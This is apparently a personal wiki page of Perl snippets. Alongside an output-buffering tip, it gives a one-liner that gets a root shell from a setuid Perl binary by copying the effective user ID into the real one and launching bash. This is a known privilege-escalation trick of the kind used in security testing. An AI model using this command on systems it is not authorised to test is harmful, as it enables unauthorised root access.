perl

Turn output buffering off

$| = 1;

Get a root shell from a suid perl binary

/usr/bin/perl -e '$ENV{PATH}="/usr/local/bin:/usr/bin/:/bin/"; $ENV{ENV}="/etc/bash.bashrc"; $< = $>; print $<; system("/bin/bash");'
 
harry/perl.txt · Last modified: 2009/07/07 06:45 (external edit)
Locations of visitors to this page

 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki